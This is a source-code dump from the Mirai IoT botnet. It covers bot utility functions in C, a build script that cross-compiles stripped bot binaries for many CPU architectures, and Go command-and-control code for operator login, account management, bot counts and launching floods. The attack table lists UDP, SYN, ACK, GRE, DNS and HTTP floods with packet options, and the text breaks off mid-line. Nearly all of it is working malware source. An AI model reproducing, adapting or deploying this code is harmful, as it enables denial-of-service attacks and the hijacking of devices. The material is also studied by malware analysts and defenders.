87 | int util_atoi(char *str, int base) 88 | { 89 | unsigned long acc = 0; 90 | int c; 91 | unsigned long cutoff; 92 | int neg = 0, any, cutlim; 93 | 94 | do { 95 | c = *str++; 96 | } while (util_isspace(c)); 97 | if (c == '-') { 98 | neg = 1; 99 | c = *str++; 100 | } else if (c == '+') 101 | c = *str++; 102 | 103 | cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX; 104 | cutlim = cutoff % (unsigned long)base; 105 | cutoff /= (unsigned long)base; 106 | for (acc = 0, any = 0;; c = *str++) { 107 | if (util_isdigit(c)) 108 | c -= '0'; 109 | else if (util_isalpha(c)) 110 | c -= util_isupper(c) ? 'A' - 10 : 'a' - 10; 111 | else 112 | break; 113 | 114 | if (c >= base) 115 | break; 116 | 117 | if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim) 118 | any = -1; 119 | else { 120 | any = 1; 121 | acc *= base; 122 | acc += c; 123 | } 124 | } 125 | if (any < 0) { 126 | acc = neg ? LONG_MIN : LONG_MAX; 127 | } else if (neg) 128 | acc = -acc; 129 | return (acc); 130 | } 131 | 132 | char *util_itoa(int value, int radix, char *string) 133 | { 134 | if (string == NULL) 135 | return NULL; 136 | 137 | if (value != 0) 138 | { 139 | char scratch[34]; 140 | int neg; 141 | int offset; 142 | int c; 143 | unsigned int accum; 144 | 145 | offset = 32; 146 | scratch[33] = 0; 147 | 148 | if (radix == 10 && value < 0) 149 | { 150 | neg = 1; 151 | accum = -value; 152 | } 153 | else 154 | { 155 | neg = 0; 156 | accum = (unsigned int)value; 157 | } 158 | 159 | while (accum) 160 | { 161 | c = accum % radix; 162 | if (c < 10) 163 | c += '0'; 164 | else 165 | c += 'A' - 10; 166 | 167 | scratch[offset] = c; 168 | accum /= radix; 169 | offset--; 170 | } 171 | 172 | if (neg) 173 | scratch[offset] = '-'; 174 | else 175 | offset++; 176 | 177 | util_strcpy(string, &scratch[offset]); 178 | } 179 | else 180 | { 181 | string[0] = '0'; 182 | string[1] = 0; 183 | } 184 | 185 | return string; 186 | } 187 | 188 | int util_memsearch(char *buf, int buf_len, char *mem, int mem_len) 189 | { 190 | int i, matched = 0; 191 | 192 | if (mem_len > buf_len) 193 | return -1; 194 | 195 | for (i = 0; i < buf_len; i++) 196 | { 197 | if (buf[i] == mem[matched]) 198 | { 199 | if (++matched == mem_len) 200 | return i + 1; 201 | } 202 | else 203 | matched = 0; 204 | } 205 | 206 | return -1; 207 | } 208 | 209 | int util_stristr(char *haystack, int haystack_len, char *str) 210 | { 211 | char *ptr = haystack; 212 | int str_len = util_strlen(str); 213 | int match_count = 0; 214 | 215 | while (haystack_len-- > 0) 216 | { 217 | char a = *ptr++; 218 | char b = str[match_count]; 219 | a = a >= 'A' && a <= 'Z' ? a | 0x60 : a; 220 | b = b >= 'A' && b <= 'Z' ? b | 0x60 : b; 221 | 222 | if (a == b) 223 | { 224 | if (++match_count == str_len) 225 | return (ptr - haystack); 226 | } 227 | else 228 | match_count = 0; 229 | } 230 | 231 | return -1; 232 | } 233 | 234 | ipv4_t util_local_addr(void) 235 | { 236 | int fd; 237 | struct sockaddr_in addr; 238 | socklen_t addr_len = sizeof (addr); 239 | 240 | errno = 0; 241 | if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) 242 | { 243 | #ifdef DEBUG 244 | printf("[util] Failed to call socket(), errno = %d\n", errno); 245 | #endif 246 | return 0; 247 | } 248 | 249 | addr.sin_family = AF_INET; 250 | addr.sin_addr.s_addr = INET_ADDR(8,8,8,8); 251 | addr.sin_port = htons(53); 252 | 253 | connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); 254 | 255 | getsockname(fd, (struct sockaddr *)&addr, &addr_len); 256 | close(fd); 257 | return addr.sin_addr.s_addr; 258 | } 259 | 260 | char *util_fdgets(char *buffer, int buffer_size, int fd) 261 | { 262 | int got = 0, total = 0; 263 | do 264 | { 265 | got = read(fd, buffer + total, 1); 266 | total = got == 1 ? total + 1 : total; 267 | } 268 | while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n'); 269 | 270 | return total == 0 ? NULL : buffer; 271 | } 272 | 273 | static inline int util_isupper(char c) 274 | { 275 | return (c >= 'A' && c <= 'Z'); 276 | } 277 | 278 | static inline int util_isalpha(char c) 279 | { 280 | return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z')); 281 | } 282 | 283 | static inline int util_isspace(char c) 284 | { 285 | return (c == ' ' || c == '\t' || c == '\n' || c == '\12'); 286 | } 287 | 288 | static inline int util_isdigit(char c) 289 | { 290 | return (c >= '0' && c <= '9'); 291 | } 292 | -------------------------------------------------------------------------------- /mirai/bot/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "includes.h" 4 | 5 | int util_strlen(char *); 6 | BOOL util_strncmp(char *, char *, int); 7 | BOOL util_strcmp(char *, char *); 8 | int util_strcpy(char *, char *); 9 | void util_memcpy(void *, void *, int); 10 | void util_zero(void *, int); 11 | int util_atoi(char *, int); 12 | char *util_itoa(int, int, char *); 13 | int util_memsearch(char *, int, char *, int); 14 | int util_stristr(char *, int, char *); 15 | ipv4_t util_local_addr(void); 16 | char *util_fdgets(char *, int, int); 17 | 18 | static inline int util_isupper(char); 19 | static inline int util_isalpha(char); 20 | static inline int util_isspace(char); 21 | static inline int util_isdigit(char); 22 | 23 | -------------------------------------------------------------------------------- /mirai/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | FLAGS="" 4 | 5 | function compile_bot { 6 | "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\" 7 | "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr 8 | } 9 | 10 | if [ $# == 2 ]; then 11 | if [ "$2" == "telnet" ]; then 12 | FLAGS="-DMIRAI_TELNET" 13 | elif [ "$2" == "ssh" ]; then 14 | FLAGS="-DMIRAI_SSH" 15 | fi 16 | else 17 | echo "Missing build type." 18 | echo "Usage: $0 " 19 | fi 20 | 21 | if [ $# == 0 ]; then 22 | echo "Usage: $0 " 23 | elif [ "$1" == "release" ]; then 24 | rm release/mirai.* 25 | rm release/miraint.* 26 | go build -o release/cnc cnc/*.go 27 | compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static" 28 | compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static" 29 | compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static" 30 | compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static" 31 | compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH" 32 | compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static" 33 | compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static" 34 | compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static" 35 | compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static" 36 | compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static" 37 | 38 | compile_bot i586 miraint.x86 "-static" 39 | compile_bot mips miraint.mips "-static" 40 | compile_bot mipsel miraint.mpsl "-static" 41 | compile_bot armv4l miraint.arm "-static" 42 | compile_bot armv5l miraint.arm5n " " 43 | compile_bot armv6l miraint.arm7 "-static" 44 | compile_bot powerpc miraint.ppc "-static" 45 | compile_bot sparc miraint.spc "-static" 46 | compile_bot m68k miraint.m68k "-static" 47 | compile_bot sh4 miraint.sh4 "-static" 48 | 49 | go build -o release/scanListen tools/scanListen.go 50 | elif [ "$1" == "debug" ]; then 51 | gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg 52 | mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips 53 | armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm 54 | armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7 55 | sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4 56 | gcc -std=c99 tools/enc.c -g -o debug/enc 57 | gcc -std=c99 tools/nogdb.c -g -o debug/nogdb 58 | gcc -std=c99 tools/badbot.c -g -o debug/badbot 59 | go build -o debug/cnc cnc/*.go 60 | go build -o debug/scanListen tools/scanListen.go 61 | else 62 | echo "Unknown parameter $1: $0 " 63 | fi 64 | -------------------------------------------------------------------------------- /mirai/cnc/admin.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | "strings" 8 | "io/ioutil" 9 | "strconv" 10 | ) 11 | 12 | type Admin struct { 13 | conn net.Conn 14 | } 15 | 16 | func NewAdmin(conn net.Conn) *Admin { 17 | return &Admin{conn} 18 | } 19 | 20 | func (this *Admin) Handle() { 21 | this.conn.Write([]byte("\033[?1049h")) 22 | this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22")) 23 | 24 | defer func() { 25 | this.conn.Write([]byte("\033[?1049l")) 26 | }() 27 | 28 | headerb, err := ioutil.ReadFile("prompt.txt") 29 | if err != nil { 30 | return 31 | } 32 | 33 | header := string(headerb) 34 | this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1))) 35 | 36 | // Get username 37 | this.conn.SetDeadline(time.Now().Add(60 * time.Second)) 38 | this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) 39 | username, err := this.ReadLine(false) 40 | if err != nil { 41 | return 42 | } 43 | 44 | // Get password 45 | this.conn.SetDeadline(time.Now().Add(60 * time.Second)) 46 | this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m")) 47 | password, err := this.ReadLine(true) 48 | if err != nil { 49 | return 50 | } 51 | 52 | this.conn.SetDeadline(time.Now().Add(120 * time.Second)) 53 | this.conn.Write([]byte("\r\n")) 54 | spinBuf := []byte{'-', '\\', '|', '/'} 55 | for i := 0; i < 15; i++ { 56 | this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) 57 | time.Sleep(time.Duration(300) * time.Millisecond) 58 | } 59 | 60 | var loggedIn bool 61 | var userInfo AccountInfo 62 | if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn { 63 | this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n")) 64 | this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m")) 65 | buf := make([]byte, 1) 66 | this.conn.Read(buf) 67 | return 68 | } 69 | 70 | this.conn.Write([]byte("\r\n\033[0m")) 71 | this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n")) 72 | time.Sleep(250 * time.Millisecond) 73 | this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n")) 74 | time.Sleep(500 * time.Millisecond) 75 | this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n")) 76 | time.Sleep(150 * time.Millisecond) 77 | this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n")) 78 | for i := 0; i < 4; i++ { 79 | time.Sleep(100 * time.Millisecond) 80 | this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1))) 81 | } 82 | this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n")) 83 | time.Sleep(1 * time.Second) 84 | 85 | go func() { 86 | i := 0 87 | for { 88 | var BotCount int 89 | if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 { 90 | BotCount = userInfo.maxBots 91 | } else { 92 | BotCount = clientList.Count() 93 | } 94 | 95 | time.Sleep(time.Second) 96 | if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil { 97 | this.conn.Close() 98 | break 99 | } 100 | i++ 101 | if i % 60 == 0 { 102 | this.conn.SetDeadline(time.Now().Add(120 * time.Second)) 103 | } 104 | } 105 | }() 106 | 107 | this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n")) 108 | for { 109 | var botCatagory string 110 | var botCount int 111 | this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m")) 112 | cmd, err := this.ReadLine(false) 113 | if err != nil || cmd == "exit" || cmd == "quit" { 114 | return 115 | } 116 | if cmd == "" { 117 | continue 118 | } 119 | botCount = userInfo.maxBots 120 | 121 | if userInfo.admin == 1 && cmd == "adduser" { 122 | this.conn.Write([]byte("Enter new username: ")) 123 | new_un, err := this.ReadLine(false) 124 | if err != nil { 125 | return 126 | } 127 | this.conn.Write([]byte("Enter new password: ")) 128 | new_pw, err := this.ReadLine(false) 129 | if err != nil { 130 | return 131 | } 132 | this.conn.Write([]byte("Enter wanted bot count (-1 for full net): ")) 133 | max_bots_str, err := this.ReadLine(false) 134 | if err != nil { 135 | return 136 | } 137 | max_bots, err := strconv.Atoi(max_bots_str) 138 | if err != nil { 139 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count"))) 140 | continue 141 | } 142 | this.conn.Write([]byte("Max attack duration (-1 for none): ")) 143 | duration_str, err := this.ReadLine(false) 144 | if err != nil { 145 | return 146 | } 147 | duration, err := strconv.Atoi(duration_str) 148 | if err != nil { 149 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit"))) 150 | continue 151 | } 152 | this.conn.Write([]byte("Cooldown time (0 for none): ")) 153 | cooldown_str, err := this.ReadLine(false) 154 | if err != nil { 155 | return 156 | } 157 | cooldown, err := strconv.Atoi(cooldown_str) 158 | if err != nil { 159 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown"))) 160 | continue 161 | } 162 | this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)")) 163 | confirm, err := this.ReadLine(false) 164 | if err != nil { 165 | return 166 | } 167 | if confirm != "y" { 168 | continue 169 | } 170 | if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) { 171 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured."))) 172 | } else { 173 | this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n")) 174 | } 175 | continue 176 | } 177 | if userInfo.admin == 1 && cmd == "botcount" { 178 | m := clientList.Distribution() 179 | for k, v := range m { 180 | this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v))) 181 | } 182 | continue 183 | } 184 | if cmd[0] == '-' { 185 | countSplit := strings.SplitN(cmd, " ", 2) 186 | count := countSplit[0][1:] 187 | botCount, err = strconv.Atoi(count) 188 | if err != nil { 189 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count))) 190 | continue 191 | } 192 | if userInfo.maxBots != -1 && botCount > userInfo.maxBots { 193 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n"))) 194 | continue 195 | } 196 | cmd = countSplit[1] 197 | } 198 | if userInfo.admin == 1 && cmd[0] == '@' { 199 | cataSplit := strings.SplitN(cmd, " ", 2) 200 | botCatagory = cataSplit[0][1:] 201 | cmd = cataSplit[1] 202 | } 203 | 204 | atk, err := NewAttack(cmd, userInfo.admin) 205 | if err != nil { 206 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) 207 | } else { 208 | buf, err := atk.Build() 209 | if err != nil { 210 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) 211 | } else { 212 | if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can { 213 | this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) 214 | } else if !database.ContainsWhitelistedTargets(atk) { 215 | clientList.QueueBuf(buf, botCount, botCatagory) 216 | } else { 217 | fmt.Println("Blocked attack by " + username + " to whitelisted prefix") 218 | } 219 | } 220 | } 221 | } 222 | } 223 | 224 | func (this *Admin) ReadLine(masked bool) (string, error) { 225 | buf := make([]byte, 1024) 226 | bufPos := 0 227 | 228 | for { 229 | n, err := this.conn.Read(buf[bufPos:bufPos+1]) 230 | if err != nil || n != 1 { 231 | return "", err 232 | } 233 | if buf[bufPos] == '\xFF' { 234 | n, err := this.conn.Read(buf[bufPos:bufPos+2]) 235 | if err != nil || n != 2 { 236 | return "", err 237 | } 238 | bufPos-- 239 | } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' { 240 | if bufPos > 0 { 241 | this.conn.Write([]byte(string(buf[bufPos]))) 242 | bufPos-- 243 | } 244 | bufPos-- 245 | } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' { 246 | bufPos-- 247 | } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' { 248 | this.conn.Write([]byte("\r\n")) 249 | return string(buf[:bufPos]), nil 250 | } else if buf[bufPos] == 0x03 { 251 | this.conn.Write([]byte("^C\r\n")) 252 | return "", nil 253 | } else { 254 | if buf[bufPos] == '\x1B' { 255 | buf[bufPos] = '^'; 256 | this.conn.Write([]byte(string(buf[bufPos]))) 257 | bufPos++; 258 | buf[bufPos] = '['; 259 | this.conn.Write([]byte(string(buf[bufPos]))) 260 | } else if masked { 261 | this.conn.Write([]byte("*")) 262 | } else { 263 | this.conn.Write([]byte(string(buf[bufPos]))) 264 | } 265 | } 266 | bufPos++ 267 | } 268 | return string(buf), nil 269 | } 270 | -------------------------------------------------------------------------------- /mirai/cnc/api.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net" 5 | "time" 6 | "strings" 7 | "strconv" 8 | ) 9 | 10 | type Api struct { 11 | conn net.Conn 12 | } 13 | 14 | func NewApi(conn net.Conn) *Api { 15 | return &Api{conn} 16 | } 17 | 18 | func (this *Api) Handle() { 19 | var botCount int 20 | var apiKeyValid bool 21 | var userInfo AccountInfo 22 | 23 | // Get command 24 | this.conn.SetDeadline(time.Now().Add(60 * time.Second)) 25 | cmd, err := this.ReadLine() 26 | if err != nil { 27 | this.conn.Write([]byte("ERR|Failed reading line\r\n")) 28 | return 29 | } 30 | passwordSplit := strings.SplitN(cmd, "|", 2) 31 | if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid { 32 | this.conn.Write([]byte("ERR|API code invalid\r\n")) 33 | return 34 | } 35 | botCount = userInfo.maxBots 36 | cmd = passwordSplit[1] 37 | if cmd[0] == '-' { 38 | countSplit := strings.SplitN(cmd, " ", 2) 39 | count := countSplit[0][1:] 40 | botCount, err = strconv.Atoi(count) 41 | if err != nil { 42 | this.conn.Write([]byte("ERR|Failed parsing botcount\r\n")) 43 | return 44 | } 45 | if userInfo.maxBots != -1 && botCount > userInfo.maxBots { 46 | this.conn.Write([]byte("ERR|Specified bot count over limit\r\n")) 47 | return 48 | } 49 | cmd = countSplit[1] 50 | } 51 | 52 | atk, err := NewAttack(cmd, userInfo.admin) 53 | if err != nil { 54 | this.conn.Write([]byte("ERR|Failed parsing attack command\r\n")) 55 | return 56 | } 57 | buf, err := atk.Build() 58 | if err != nil { 59 | this.conn.Write([]byte("ERR|An unknown error occurred\r\n")) 60 | return 61 | } 62 | if database.ContainsWhitelistedTargets(atk) { 63 | this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n")) 64 | return 65 | } 66 | if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can { 67 | this.conn.Write([]byte("ERR|Attack cannot be launched\r\n")) 68 | return 69 | } 70 | 71 | clientList.QueueBuf(buf, botCount, "") 72 | this.conn.Write([]byte("OK\r\n")) 73 | } 74 | 75 | func (this *Api) ReadLine() (string, error) { 76 | buf := make([]byte, 1024) 77 | bufPos := 0 78 | 79 | for { 80 | n, err := this.conn.Read(buf[bufPos:bufPos+1]) 81 | if err != nil || n != 1 { 82 | return "", err 83 | } 84 | if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' { 85 | bufPos-- 86 | } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' { 87 | return string(buf[:bufPos]), nil 88 | } 89 | bufPos++ 90 | } 91 | return string(buf), nil 92 | } 93 | -------------------------------------------------------------------------------- /mirai/cnc/attack.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "strconv" 7 | "net" 8 | "encoding/binary" 9 | "errors" 10 | "github.com/mattn/go-shellwords" 11 | ) 12 | 13 | type AttackInfo struct { 14 | attackID uint8 15 | attackFlags []uint8 16 | attackDescription string 17 | } 18 | 19 | type Attack struct { 20 | Duration uint32 21 | Type uint8 22 | Targets map[uint32]uint8 // Prefix/netmask 23 | Flags map[uint8]string // key=value 24 | } 25 | 26 | type FlagInfo struct { 27 | flagID uint8 28 | flagDescription string 29 | } 30 | 31 | var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo { 32 | "len": FlagInfo { 33 | 0, 34 | "Size of packet data, default is 512 bytes", 35 | }, 36 | "rand": FlagInfo { 37 | 1, 38 | "Randomize packet data content, default is 1 (yes)", 39 | }, 40 | "tos": FlagInfo { 41 | 2, 42 | "TOS field value in IP header, default is 0", 43 | }, 44 | "ident": FlagInfo { 45 | 3, 46 | "ID field value in IP header, default is random", 47 | }, 48 | "ttl": FlagInfo { 49 | 4, 50 | "TTL field in IP header, default is 255", 51 | }, 52 | "df": FlagInfo { 53 | 5, 54 | "Set the Dont-Fragment bit in IP header, default is 0 (no)", 55 | }, 56 | "sport": FlagInfo { 57 | 6, 58 | "Source port, default is random", 59 | }, 60 | "dport": FlagInfo { 61 | 7, 62 | "Destination port, default is random", 63 | }, 64 | "domain": FlagInfo { 65 | 8, 66 | "Domain name to attack", 67 | }, 68 | "dhid": FlagInfo { 69 | 9, 70 | "Domain name transaction ID, default is random", 71 | }, 72 | "urg": FlagInfo { 73 | 11, 74 | "Set the URG bit in IP header, default is 0 (no)", 75 | }, 76 | "ack": FlagInfo { 77 | 12, 78 | "Set the ACK bit in IP header, default is 0 (no) except for ACK flood", 79 | }, 80 | "psh": FlagInfo { 81 | 13, 82 | "Set the PSH bit in IP header, default is 0 (no)", 83 | }, 84 | "rst": FlagInfo { 85 | 14, 86 | "Set the RST bit in IP header, default is 0 (no)", 87 | }, 88 | "syn": FlagInfo { 89 | 15, 90 | "Set the ACK bit in IP header, default is 0 (no) except for SYN flood", 91 | }, 92 | "fin": FlagInfo { 93 | 16, 94 | "Set the FIN bit in IP header, default is 0 (no)", 95 | }, 96 | "seqnum": FlagInfo { 97 | 17, 98 | "Sequence number value in TCP header, default is random", 99 | }, 100 | "acknum": FlagInfo { 101 | 18, 102 | "Ack number value in TCP header, default is random", 103 | }, 104 | "gcip": FlagInfo { 105 | 19, 106 | "Set internal IP to destination ip, default is 0 (no)", 107 | }, 108 | "method": FlagInfo { 109 | 20, 110 | "HTTP method name, default is get", 111 | }, 112 | "postdata": FlagInfo { 113 | 21, 114 | "POST data, default is empty/none", 115 | }, 116 | "path": FlagInfo { 117 | 22, 118 | "HTTP path, default is /", 119 | }, 120 | /*"ssl": FlagInfo { 121 | 23, 122 | "Use HTTPS/SSL" 123 | }, 124 | */ 125 | "conns": FlagInfo { 126 | 24, 127 | "Number of connections", 128 | }, 129 | "source": FlagInfo { 130 | 25, 131 | "Source IP address, 255.255.255.255 for random", 132 | }, 133 | } 134 | 135 | var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo { 136 | "udp": AttackInfo { 137 | 0, 138 | []uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 }, 139 | "UDP flood", 140 | }, 141 | "vse": AttackInfo { 142 | 1, 143 | []uint8 { 2, 3, 4, 5, 6, 7 }, 144 | "Valve source engine specific flood", 145 | }, 146 | "dns": AttackInfo { 147 | 2, 148 | []uint8 { 2, 3, 4, 5, 6, 7, 8, 9 }, 149 | "DNS resolver flood using the targets domain, input IP is ignored", 150 | }, 151 | "syn": AttackInfo { 152 | 3, 153 | []uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, 154 | "SYN flood", 155 | }, 156 | "ack": AttackInfo { 157 | 4, 158 | []uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, 159 | "ACK flood", 160 | }, 161 | "stomp": AttackInfo { 162 | 5, 163 | []uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 }, 164 | "TCP stomp flood", 165 | }, 166 | "greip": AttackInfo { 167 | 6, 168 | []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25}, 169 | "GRE IP flood", 170 | }, 171 | "greeth": AttackInfo { 172 | 7, 173 | []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25}, 174 | "GRE Ethernet flood", 175 | }, 176 | "udpplain": AttackInfo { 177 | 9, 178 | []uint8 {0, 1, 7}, 179 | "UDP flood with less options. optimized for higher PPS", 180 | }, 181 | "http": AttackInfo { 182 | 10, 183 | []uint8 {8, 7, 20, 21, 22, 24}, 184 | "HTTP flood", 185 | }, 186 | } 187 | 188 | func uint8InSlice(a uint8, list []uint8) bool { 189 | for _, b := range list { 190 | if b == a { 191 | return true 192 | } 193 | } 194 | return false 195 | } 196 | 197 | func NewAttack(str string, admin int) (*Attack, error) { 198 | atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)} 199 | args, _ := shellwords.Parse(str) 200 | 201 | var atkInfo AttackInfo 202 | // Parse attack name 203 | if len(args) == 0 { 204 | return nil, errors.New("Must specify an attack name") 205 | } else { 206 | if args[0] == "?" { 207 | validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m" 208 | for cmdName, atkInfo := range attackInfoLookup { 209 | validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n" 210 | } 211 | return nil, errors.New(validCmdList) 212 | } 213 | var exists bool 214 | atkInfo, exists = attackInfoLookup[args[0]] 215 | if !exists { 216 | return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0])) 217 | } 218 | atk.Type = atkInfo.attackID 219 | args = args[1:] 220 | } 221 | 222 | // Parse targets 223 | if len(args) == 0 { 224 | return nil, errors.New("Must specify prefix/netmask as targets") 225 | } else { 226 | if args[0] == "?" { 227 | return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29") 228 | } 229 | cidrArgs := strings.Split(args[0], ",") 230 | if len(cidrArgs) > 255 { 231 | return nil, errors.New("Cannot specify more than 255 targets in a single attack!") 232 | } 233 | for _,cidr := range cidrArgs { 234 | prefix := "" 235 | netmask := uint8(32) 236 | cidrInfo := strings.Split(cidr, "/") 237 | if len(cidrInfo) == 0 { 238 | return nil, errors.New("Blank target specified!") 239 | } 240 | prefix = cidrInfo[0] 241 | if len(cidrInfo) == 2 { 242 | netmaskTmp, err := strconv.Atoi(cidrInfo[1]) 243 | if err != nil || netmask > 32 || netmask < 0 { 244 | return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr)) 245 | } 246 | netmask = uint8(netmaskTmp) 247 | } else if len(cidrInfo) > 2 { 248 | return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr)) 249 | } 250 | 251 | ip := net.ParseIP(prefix) 252 | if ip == nil { 253 | return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr)) 254 | } 255 | atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask 256 | } 257 | args = args[1:] 258 | } 259 | 260 | // Parse attack duration time 261 | if len(args) == 0 { 262 | return nil, errors.New("Must specify an attack duration") 263 | } else { 264 | if args[0] == "?" { 265 | return nil, errors.New("\033[37;1mDuration of the attack, in seconds") 266 | } 267 | duration, err := strconv.Atoi(args[0]) 268 | if err != nil || duration == 0 || duration > 3600 { 269 | return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0])) 270 | } 271 | atk.Duration = uint32(duration) 272 | args = args[1:] 273 | } 274 | 275 | // Parse flags 276 | for len(args) > 0 { 277 | if args[0] == "?" { 278 | validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n" 279 | for _, flagID := range atkInfo.attackFlags { 280 | for flagName, flagInfo := range flagInfoLookup { 281 | if flagID == flagInfo.flagID { 282 | validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n" 283 | break 284 | } 285 | } 286 | } 287 | validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n" 288 | validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535" 289 | return nil, errors.New(validFlags) 290 | } 291 | flagSplit := strings.SplitN(args[0], "=", 